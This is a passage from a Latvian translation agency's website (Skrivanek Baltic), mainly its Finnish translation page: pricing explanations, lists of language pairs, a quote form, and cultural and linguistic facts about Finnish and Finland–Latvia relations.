Kultūras akadēmijā, vadot studiju programmu Latvijas −Polijas starpkultūru sakari, savukārt atgriezusies savā dzimtenē – Polijā, viņa lasīja lekcijas Varšavas universitātē – par latviešu valodu un latviešu kultūru. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM POĻU VALODĀ: dokumentu tulkojumi poļu valodā; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mājaslapu tulkošana poļu valodā; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi poļu valodā; individuālie poļu valodas kursi. POĻU VALODAS KOMBINĀCIJAS: poļu–latviešu; latviešu–poļu; poļu–lietuviešu; lietuviešu–poļu; igauņu–poļu; poļu–igauņu; angļu–poļu; poļu–angļu; krievu–poļu; poļu–krievu; ukraiņu–poļu; poļu–ukraiņu; čehu–poļu; poļu–čehu; vācu–poļu; poļu–vācu; spāņu–poļu; poļu–spāņu; franču–poļu; poļu–franču; itāļu–poļu; poļu–itāļu; dāņu–poļu; poļu–dāņu; zviedru–poļu; poļu–zviedru; norvēģu–poļu; poļu–norvēģu; somu–poļu; poļu–somu; poļu–arābu; arābu–poļu; poļu–armēņu, armēņu–poļu; poļu–baltkrievu, baltkrievu–poļu; bulgāru–poļu, poļu–bulgāru; poļu–ebreju, ebreju–poļu, poļu–grieķu, grieķu–poļu; poļu–gruzīnu; gruzīnu–poļu; poļu–hindi; hindi–poļu; poļu–holandiešu; holandiešu–poļu; poļu–korejiešu; korejiešu–poļu; poļu–kurdu; kurdu–poļu; poļu–ķīniešu; ķīniešu–poļu; poļu–portugāļu; portugāļu–poļu; poļu–rumāņu; rumāņu–poļu; poļu–slovāku; slovāku–poļu; poļu–slovēņu; slovēņu–poļu; poļu–turku; turku–poļu; poļu–ungāru; ungāru–poļu, tłumacz polsko łotewski u. c. --- > Dažādu dokumentu un pasākumu tulkojumi somu valodā. ISO sertificēts tulkošanas birojs. Saņemiet cenas piedāvājumu tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional TULKOJUMI SOMU VALODĀ / TULKOT SOMU VALODĀ CIK MAKSĀ TULKOJUMI SOMU VALODĀ? Tulkojumu cena no un uz somu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi elementi – secīgo mutisko, čukstus un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācijas, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek aprēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku formatēšana, sarežģītība, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono, čukstus, tiesas sēžu gaitas un secīgo) tulkojumu pakalpojumu cenrādis no un uz somu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas birojs Skrivanek Baltic vienmēr sagatavo detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi. Cenas piedāvājums tiek sagatavots aptuveni 30 minūšu laikā. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SOMU VALODĀ: dažādu dokumentu tulkošana somu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; somu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi somu valodā; individuālie somu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus somu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI SOMU VALODĀ / TULKOT SOMU VALODĀ CIK MAKSĀ TULKOJUMI SOMU VALODĀ? Tulkojumu cena no un uz somu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi elementi – secīgo mutisko, čukstus un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācijas, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek aprēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku formatēšana, sarežģītība, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono, čukstus, tiesas sēžu gaitas un secīgo) tulkojumu pakalpojumu cenrādis no un uz somu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas birojs Skrivanek Baltic vienmēr sagatavo detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi. Cenas piedāvājums tiek sagatavots aptuveni 30 minūšu laikā. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SOMU VALODĀ: dažādu dokumentu tulkošana somu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; somu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi somu valodā; individuālie somu valodas kursi. Meklējiet valodu risinājumus somu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt SOMU VALODA FAKTOS Somu valoda ir viena no divām Somijas Republikas valsts valodām līdztekus zviedru valodai. Valsts valodas statusu nosaka 1999. gadā atjaunotais Somijas Republikas pamatlikums (Suomen perustuslaki) un jaunais 2003. gadā izveidotais Somijas Valodas likums (Kielilaki), kas stājies spēkā 2004. gadā. Kopš 1995. gada somu valoda ir viena no Eiropas Savienības oficiālajām valodām. Tā tiek lietota visās sociolingvistiskajās jomās, kā valsts pārvaldē, izglītībā, kultūrā un plašsaziņas līdzekļos u. c. Valodas lietojumu regulē arī citi likumi un dekrēti, piemēram, Valdības dekrēts par reģionu lingvistisko dalījumu (Valtioneuvoston asetus virka- ja itsehallintoalueiden kielellisestä jaotuksesta), Valodu prasmju likums (Kielitaitolaki), Baznīcas likums (Kirkkolaki), Universitāšu likums (Yliopistolaki) u. c. Somu valodas kopšanu un izpēti, kā arī gramatiku, vārdnīcu un citu informatīvo materiālu izdošanu koordinē Vietējo valodu centrs (Kotimaisten kielten keskus), kas atrodas Somijas Izglītības un kultūras ministrijas (Opetus- ja kulttuuriministeriö) pārvaldībā. Somu zīmju valoda ir kā pirmā valoda 4000–5000 nedzirdīgu somu. Vēl 6000–9000 dzirdīgu somu to lieto kā savu pirmo vai otro valodu. Somu zīmju valoda ir atvasināta no zviedru zīmju valodas. Līdz mūsdienām tiek lietota arī Somijas zviedru zīmju valoda, kura šobrīd tiek uzskatīta par izmirstošu zīmju valodu. Pašlaik Somijas zviedru zīmju valodai ir tikai 90 lietotāju, pamatā gados vecāki cilvēki, kuri apmeklējuši vienīgo zviedru nedzirdīgo skolu Somijā. Šī skola tika slēgta 1993. gadā. Ļoti attīstīts reģionālās sarunvalodas paveids ir Helsinku slengs (Stadin slangi). Tas veidojies 19. un 20. gadsimta mijā, kad Helsinkos, kur tolaik dominēja zviedru valoda, sāka iebraukt arvien vairāk somu valodā runājošo iedzīvotāju. Helsinku slengam ir gan specifiskas fonētiskas un gramatiskas iezīmes, gan arī plaša leksika, ko dažādos periodos ietekmējušas vairākas svešvalodas – sākotnēji zviedru un krievu, vēlāk arī angļu valoda. Mūsdienās tas no vispārlietota slenga pārtapis galvenokārt jauniešu runātā slengā. Lielākā daļa cilvēku domā, ka Eiropas kafijas valstis ir Itālija vai Francija. Bet nē, tieši somi patērē vairāk kafijas uz vienu iedzīvotāju nekā jebkura cita valsts ne tikai Eiropā, bet arī pasaulē. Vidēji soms katru gadu patērē aptuveni 12 kilogramu kafijas. Astoņu kafijas tasīšu izdzeršana dienas laikā Somijā nav nekas neparasts. Mobilo spēļu sensācija Angry Birds savu popularitāti ieguva tieši Somijā. Spēles veidotāji Rovio Entertainment, kuru 2003. gadā dibināja Helsinku Tehnoloģiju universitātes studenti, 2017. gadā kļuva par publiski tirgotu uzņēmumu un tā vērtība bija 1 miljards ASV dolāru. Somija jau vairākus gadus pēc kārtas tiek atzīta par pasaulē laimīgāko valsti. Somijā ir lieliska labklājības sistēma, kas veicina Somijas pilsoņu labklājību. Tās ietvaros katrai topošajai māmiņai Somijas valsts dāvina īpašu dāvanu: dzemdību paku jeb tā saukto bēbīša kastīti. To var uzskatīt par pirmo atbalstu jaunajiem vecākiem, jo tajā ir dažādas noderīgas preces, sākot no zīdaiņiem paredzētiem produktiem un beidzot ar apģērbu. Turklāt pati bēbīšu kastīte var tikt izmantota arī kā gultiņa. Bērnu kastīšu dāvināšanas tradīcija Somijā ir vairāk nekā 80 gadus sena. Nedrīkst aizmirst arī par saunu! Tas ir vienīgais somu valodas vārds, kuru sapratīs visas pasaules iedzīvotāji. Valstī ir vairāk nekā 2 miljoni saunu. It īpaši, ja ņemam vērā, ka Somijas iedzīvotāju skaits ir tikai aptuveni 5,5 miljoni! Somiem pirts ir ļoti svarīga. Tā ir lieliska vieta, kur attīrīt ķermeni un prātu, atpūsties un izbaudīt pašreizējo mirkli, kā arī satikt jaunus cilvēkus un socializēties. Turklāt pētījumi liecina, ka regulāra saunas apmeklēšana (optimāli vairākas reizes nedēļā) sniedz daudz labumu veselībai, tostarp samazina sirdslēkmes un demences risku. Tādējādi somi ļoti bieži dodas uz pirti savās mājās, sporta zālē vai darbā. Apmeklējot Somiju, pirtis var atrast pavisam negaidītās vietās, piemēram, studentu mītnēs, arī valsts iestādēs. 2020. gada decembrī Somijas pirts tradīcijas tika iekļautas UNESCO kultūras mantojuma sarakstā. Visbeidzot – somu valoda tiek uzskatīta par smagā metāla grupu iecienītāko valodu. Tieši tādēļ Somijā ir dibinātas tik daudzas smagā metāla grupas, kas ieguvušas popularitāti visā pasaulē. 2016. gadā toreizējais ASV prezidents Baraks Obama norādīja, ka Somijas politiskā sistēma ir saistīta ar tās mūzikas skatuvi. „Es gribu norādīt, ka Somijā, iespējams, ir visvairāk smagā metāla grupu pasaulē uz vienu iedzīvotāju, un tai ir arī viena no labākajām valdībām pasaulē,” sacīja Obama. Latvijā plašāk ir pazīstamas tādas somu grupas kā HIM, Apocalyptica. 1835. gada 28. februārī somu folklorists Eliass Lenrūts publicēja pirmās 32 rūnas no eposa „Kalevala”. Kopumā šajā eposā ir 50 dziesmu jeb rūnu, kuras vienā izdevumā iznāca tikai pēc 14 gadiem. Tomēr galvenais bija noticis, radies pamats vienam no slavenākajiem ziemeļu tautu eposiem – mītam par leģendām apvīto zemi Kalevalu. „Kalevala” kā eposs iemiesoja gigantisku darbu, ko veica somu un karēļu folkloristi un patrioti. „Kalevalas” pamatā ir tradicionālās somu un karēļu tautasdziesmas, kurās izmantoja rūnas ne atskaņu dzeju. Tāpēc jau 17. un 18. gadsimtā ievērojami pieauga somu centieni pierakstīt senās dziesmas, jo no Eiropas aizvien spēcīgāk iespiedās jaunā dzejas tendence. Tās ietekmē Somijas dienvidos un rietumos sāka pazust veco dziesmu zinātāji, kas lika vairākiem folkloristiem domāt par tautas dziesmu apkopojumu. Somija un īpaši Karēlija, kas tajā laikā atradās Krievijas impērijas sastāvā, caur savas tautas apziņu ieguva arī pamatu nacionālajai vienotībai. Vairāki folkloristu izdevumi ļāva cerēt, ka kādreiz izdosies tautasdziesmas apvienot vienā grāmatā. Tieši no priekšteču darbiem, kas atradās Turku universitātē, iedvesmu eposam ieguva Eliass Lenrūts. Eposam “Kalevala” ir milzīga nacionālā nozīme. Somiem un karēļiem pirms „Kalevalas” nebija vienojoša literāra darba, kas ieliktu pamatus nacionālajai vienotībai, tāpēc „Kalevalu” uzskata par ļoti nozīmīgu somu nacionālās pašapziņas celšanā. Latviešiem tas nav jāskaidro, jo tieši šādu lomu pilda Andreja Pumpura „Lāčplēsis”. „Kalevala” īpaši populāra kļuva 20. gadsimta sākumā, kad somi un karēļi centās iegūt paši savu neatkarību no Krievijas impērijas. Tāpēc nav nekāds brīnums, ka daudzi somu uzņēmumi izmantojuši Kalevalā atrodamus vārdus. Tā būvniecībā ir strādājis uzņēmums „Leminkainen”, bet labklājības un finanšu jomā centušies darboties uzņēmumi, kas izmanto „Sampo” vai „Pohjolas” nosaukumus. Noteikti, ka šādu nosaukumu ir vēl vairāk, jo somi ir bijuši pietiekami vienoti „Kalevalas” izmantošanā. Īpašu šo eposu padara arī tas, ka tieši 28. februārī ir Somijas karoga diena jeb Kalevalas diena, kas simbolizē somu kultūras dienu. SOMU VALODAS ALFABĒTS Somu valodā tiek lietots latīņu alfabēts. Alfabētā ir šādi burti: a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s (š), t, u, v, w, x, y, z (ž) å, ä, ö. Burti š un ž parādās svešvārdu un citvalodu īpašvārdu rakstībā – citvalodu īpašvārdiem somu valodā tiek saglabāta oriģinālā rakstība, tie netiek pārveidoti. Somu valodas alfabēts ir veidots pēc zviedru valodas alfabēta parauga. Izruna un rakstība ir diezgan līdzīgas, patskaņu izruna var būt gan gara, gan īsa. Līdzīgi kā zviedru valodā, arī līdzskaņus var izrunāt pagarināti, izņemot burtus d, v, un j, pierakstā šo skaņas pagarinājumu apzīmē ar divkāršu burta lietojumu. Somu valodā ir astoņi patskaņi: a, e, i, o, u, y, ä, ö un 13–17 līdzskaņi: p, t, k, (b), d, (g), m, n, ŋ, (f), s, (š), h, l, r, v un j. No tiem b, g, f un š sastopami galvenokārt svešvārdos un slengos, un to vieta somu līdzskaņu sistēmā vēl nav nostiprinājusies. Galvenais uzsvars somu valodā ir uz pirmās zilbes. Vārdu nozīmju šķiršanā svarīgs ir patskaņu un līdzskaņu izrunas garums, kas attiecas uz gandrīz visām somu valodas fonēmām, piemēram, mato (‘tārps’) un matto (‘paklājs’). KUR UN CIK DAUDZ RUNĀ SOMU VALODĀ? Somu valoda ir dzimtā valoda aptuveni 5,23 miljoniem cilvēku visā pasaulē, aptuveni 4,8 miljoniem iedzīvotāju Somijā, ap 300 tūkstošiem Zviedrijā, ap 50–100 tūkstošiem Austrumkarēlijā un Ingrijā (teritorijās, kas mūsdienās atrodas Krievijas Republikas sastāvā), ap 12 tūkstošiem Norvēģijā un vairākiem desmitiem tūkstošu citur pasaulē, tostarp Amerikas Savienotajās Valstīs un Austrālijā. Pēc runātāju skaita somu valoda ir otrā izplatītākā urāliešu valoda pēc ungāru valodas un visvairāk runātā Baltijas jūras somugru valoda. CIK SAREŽĢĪTA IR SOMU VALODA? Sākot mācīties somu valodu, ir jāapgūst pavisam neierasts un jauns domāšanas veids – it īpaši, ja apguvēja dzimtā valoda pieder pie kādas no indoeiropiešu valodu saimes valodām. Somu valoda, kas pieder urāliešu valodu saimei, atšķiras no daudzām valodām, tostarp plaši arī lietotās angļu valodas, kas ir viena no daudzām indoeiropiešu valodām. Savukārt igauņiem somu valoda var šķist pazīstama un vieglāka salīdzinājumā ar citām valodām, jo gan igauņu, gan somu valoda pieder vienai valodu saimei. Somu valoda tiek pievienota grūti apgūstamo valodu kategorijai, būtu nepieciešamas vismaz 44 nedēļas vai 1100 mācību stundas, lai valodas apguvējs justos pietiekami pārliecināts par savām somu valodas zināšanām un pievienotos sarunai pie biroja kafijas automāta. SOMU VALODAS TULKS UN TULKOTĀJS Mūsu somu valodas tulki, tulkotāji un redaktori nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem un medicīnas tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek Baltic nodrošina arī tekstu somu valodā korektūru un stilistisko uzlabošanu. Valodas speciālisti labprāt sniegs informāciju par kultūras atšķirībām, lietišķo etiķeti, valsts vēsturi un tradīcijām. Tulkojamā materiāla tematiskais spektrs no/uz somu valodu ir ļoti plašs, ņemot vērā aktīvo abu valstu sadarbību dažādās jomās – uzņēmējdarbības, ekonomikas, izglītības, kultūras u. c. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz somu valodu – un mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu, mārketinga tekstu adaptāciju, sadarbības līgumu, uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. SOMU VALODA UZŅĒMĒJDARBĪBĀ Lietišķā etiķete dažādos reģionos un valstīs atšķiras. Tas rada sarežģītu situāciju cilvēkiem, jo ir grūti vienlaikus ieturēt starptautisko biznesa etiķeti, gan pievērsties citām biznesam svarīgām aktivitātēm. Sadarbojoties ar somiem, ir svarīgi izprast somu komunikācijas stilu. Viens no pārsteigumiem pat biznesa komunikācijā ir – somi ir klusētāji. Neviena cita Ziemeļvalstu kultūras grupa nav izpelnījusies tik noslēgtas, nerunīgas un spontānas tautas slavu kā somi. Nevēlēšanās runāt, ja vien viņiem nav sakāms kas svarīgs, ir radījusi uzskatu par somiem kā par neattapīgiem ļaudīm, bet patiesībā viņi ir mierīgi, apdomīgi, līdz zināmai pakāpei ļoti stūrgalvīgi un vēsi. Un tādi somi ir arī uzņēmējdarbības vidē. Somiem nav nepieciešama tieša saskarsme, un patiesībā viņi diezgan ērti izmanto e-pastu. Tas var palīdzēt ietaupīt daudz laika ikdienas darījumos. Somi tiek uzskatīti par izciliem laika pārvaldītājiem, kuri dod priekšroku pedantiski organizēt savas darba dienas, lai paveiktu pēc iespējas vairāk. Somu uzņēmēji sākumā var šķist formāli un parasti savu neformālāko pusi parāda tikai pazīstamiem cilvēkiem. Tomēr, kad iepazīsiet savu Somijas kolēģi, jums viņš var kļūt par draugu uz mūžu. Somu un zviedru valoda ir oficiālās valodas Somijā, un bērniem tās abas ir jāapgūst skolā. Daudziem somiem tā sauktā otrā dzimtā valoda ir zviedru valoda, un tajā runā 5,5 procenti iedzīvotāju. Zviedru valodā runājošie cilvēki dzīvo galvenokārt piekrastē un lielpilsētu teritorijās. Tomēr mūsdienās angļu valoda ir kļuvusi par neoficiālo Somijas otro valodu, un vairāk cilvēku kā otro valodu runā tieši angļu nevis zviedru valodu. Lielākoties somi brīvi runā angļu valodā, un tas jo īpaši attiecas uz biznesa pasauli. Patiesībā daudzos Somijas uzņēmumos līdzīgi kā pie mums Latvijā angļu valodu lieto kā vienu no uzņēmuma darba valodām. Uzņēmējdarbības attīstīšana Somijā var sniegt milzīgus ieguvumus, taču somi ir ļoti apdomīgi. Labas zināšanas par Somijas biznesa kultūru var palīdzēt pārvarēt jebkādu sākotnējo atturību, ar kādu varētu saskarties, un veidot dziļas un ilgstošas attiecības. Somus interesē cilvēki, kurus interesē Somija, tāpēc ir svarīgi izrādīt interesi par visu, kas ir saistīts ar somu valodu, kultūru, tradīcijām un dabu. Ārpus Somijas robežām somu valoda kā biznesa valoda netiek lietota, arī Somijā biznesa vidē plaši tiek lietota angļu valoda. Pateicoties somu atturībai, bieži vien biznesa attiecības tiek uzsāktas un attīstītas, izmantojot saraksti. SOMIJA UN LATVIJA Latvijas un Somijas veiksmīgās attiecības ir balstītas uz kopīgām interesēm nodrošināt stabilitāti, drošību un labklājību Baltijas jūras reģionā un Eiropā. Būdamas ģeogrāfiski tuvas valstis, Latvija un Somija īsteno ciešu un praktisku sadarbību visdažādākajās jomās un līmeņos − ekonomikā, kultūrā, izglītībā, aizsardzībā u. c. Somija ir Latvijas 8. lielākais tirdzniecības partneris un nozīmīgs investors. Bioekonomika, inženierzinātnes, informācijas tehnoloģijas, pārtika un tūrisms ir nozares, kurās ir saredzams labs sadarbības potenciāls gan eksporta veicināšanā no Latvijas, gan arī investīciju piesaistē. Sadarbība ar Somiju kultūrā ir plaša daudzās kultūras jomās. Abu valstu mākslinieki regulāri viesojas otrā valstī rīkotajos starptautiskajos pasākumos – izstādēs, mūzikas, kino un citos festivālos. Pieaug somu interese par latviešu literatūru, kā arī latviešu interese par somu. 2021. gadā latviešu valodā ir iznākusi somu dzejnieces Heli Lāksonenas (Heli Laaksonen) un Aleksandra Čaka grāmata „Paņēmi manu sirdi no plaukta”. Dzejoļu krājumā ir publicēti 15 Aleksandra Čaka un 15 Heli Lāksonenas dzejoļi, kas veido savdabīgu dialogu, kā atbildes uz Čaka dzejoļiem. Šī jau ir 4. dzejnieces grāmata, kura izdota latviešu valodā, Heli Lāksonenas dzejoļus latviski, izmantojot Vidzemes piekrastes lībisko izloksni, ir atdzejojis Guntars Godiņš. Heli Lāksonena ir ļoti interesanta un pozitīva somu dzejniece, ikviens, kas lasījis kaut vienu viņas dzejoli, klausījies interviju, visticamāk vēlēsies vairāk uzzināt par Somiju, somu kultūru, cilvēkiem. Latvijas augstskolām izveidojusies cieša sadarbība ar Somijas augstskolām Eiropas Savienības izglītības programmas Socrates/Erasmus+ ietvaros, Eiropas Savienības Mūžizglītības programmu un projektu ietvaros, Ziemeļvalstu Ministru padomes izglītības programmas NORDPLUS projektos. Daudzi studenti no Somijas augstāko izglītību iegūst Rīgas Stradiņa universitātē un Latvijas Universitātē. Somu valodu Latvijā var apgūt Rīgas Ziemeļvalstu ģimnāzijā un Latvijas Universitātes Humanitāro zinātņu fakultātes Somugru valodu bakalaura studiju programmas ietvaros. Somija ir NATO partnervalsts un sniedz būtisku ieguldījumu drošības sekmēšanā Baltijas jūras reģionā. SOMU VALODAS DIENA 9. aprīlī tiek atzīmēta Somu valodas diena, kas ir zināma arī kā Mikaela Agrikolas diena. Tajā tiek pieminēta Mikaela Agrikolas nāves gadadiena un Eliasa Lenrūta dzimšanas diena. Abi ienesa nozīmīgu ieguldījumu somu valodas attīstībā. Mikaels Agrikola (Mikael Agricola), dzimis ap 1510. gadu, bet miris 1557. gada 9. aprīlī, bija somu garīdznieks, somu literārās valodas pamatlicējs un Jaunās Derības tulkotājs somu valodā. Bijis arī Turku pilsētas bīskaps un viens no luterisma ieviesējiem Somijas teritorijā. Mikaels Agrikola ir atzīts par somu literārās valodas tēvu. Viņš bija reformācijas atbalstītājs Zviedrijā, kas ietvēra mūsdienu Somijas teritoriju. Liturģija bija viens no galvenajiem reformācijas principiem, tāpēc Agrikola sāka tulkot liturģiskās grāmatas somu valodā. 1543. gadā publicēja pirmo grāmatu somu valodā − ābeci “Abckiria”. 1548. gadā tika publicēts Agrikolas vissvarīgākais darbs − Jaunās Derības tulkojums somu valodā “Se Wsi Testamenti”. Somu valoda ilgu laiku tika lietota gandrīz tikai reliģiskos kontekstos. Nozīmīgāko ieguldījumu valodas atdzimšanā un modernizācijā sniedza Eliass Lenrūts. Viņš bija somu ārsts, filologs un folkloras vācējs. Plašāk pazīstams kā Somijas nacionālā eposa Kalevala sastādītājs. Paralēli medicīnai Lenrūts ieinteresējās par folkloru un 1824. gadā devās pirmajā ekspedīcijā, pierakstot tautas mutvārdu daiļradi. Tā kā rietumu Somijā bija maz saglabājušos seno dziesmu, viņš ceļoja pa Karēliju, Lapzemi un Kolas pussalu. Uz savāktā materiāla pamata Lenrūts sastādīja eposu Kalevala(tā sauktā “vecā Kalevala”), kurš izdots 1835. gadā. 1840. gadā izdots tautas dziesmu apkopojums Kanteletara. 1842. gadā izdots sakāmvārdu krājums Sananlaskuja, bet 1844. gadā mīklu krājums. 1849. gadā izdota Kalevalas papildinātā versija. No 1866. līdz 1880. gadam Lenrūts piedalījās Zviedru-somu vārdnīcas sastādīšanā. Daudzus zinātniskos terminus somu valodā (sevišķi filoloģijā un botānikā) izdomājis tieši Lenrūts. Somu valodas diena godina viņus abus. Somijā tā nav oficiālā svētku diena, taču ir kļuvis ierasts šajā gadījumā izkārt Somijas karogu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SOMU VALODĀ: dažādu dokumentu tulkošana somu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; somu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi somu valodā; individuālie somu valodas kursi. SOMU VALODAS KOMBINĀCIJAS: somu–latviešu; latviešu–somu; somu–lietuviešu; lietuviešu–somu; igauņu–somu; somu–igauņu; angļu–somu; somu–angļu; krievu–somu; somu–krievu; poļu–somu; somu–poļu; ukraiņu–somu; somu–ukraiņu; čehu–somu; somu–čehu; vācu–somu; somu–vācu; spāņu–somu; somu–spāņu; franču–somu; somu–franču; itāļu–somu; somu–itāļu; dāņu–somu; somu–dāņu; zviedru–somu; somu–zviedru; norvēģu–somu; somu–norvēģu; somu–rumāņu; rumāņu–somu, somu–arābu; arābu–somu; somu–armēņu, armēņu–somu; somu–baltkrievu, baltkrievu–somu; bulgāru–somu, somu–bulgāru; somu–ebreju, ebreju–somu, somu–grieķu, grieķu–somu; somu–gruzīnu; gruzīnu–somu; somu–hindi; hindi–somu; somu–holandiešu; holandiešu–somu; somu–korejiešu; korejiešu–somu; somu–kurdu; kurdu–somu; somu–ķīniešu; ķīniešu–somu; somu–portugāļu; portugāļu–somu; somu–rumāņu; rumāņu–somu; somu–slovāku; slovāku–somu; somu–slovēņu; slovēņu–somu; somu–turku; turku–somu; somu–ungāru; ungāru–somu u. c. --- > Profesionāli dažādu dokumentu un pasākumu tulkojumi spāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 30 minūtēs! Sazinieties ar mums! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional TULKOJUMI SPĀŅU VALODĀ / TULKOT SPĀŅU VALODĀ CIK MAKSĀ TULKOJUMI SPĀŅU VALODĀ? Tulkojumu cena no/uz spāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā tiek ņemti vērā vairāki aspekti ─ secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, dalībnieku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, jo īpaši zinātnisko rakstu un pētījumu, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI 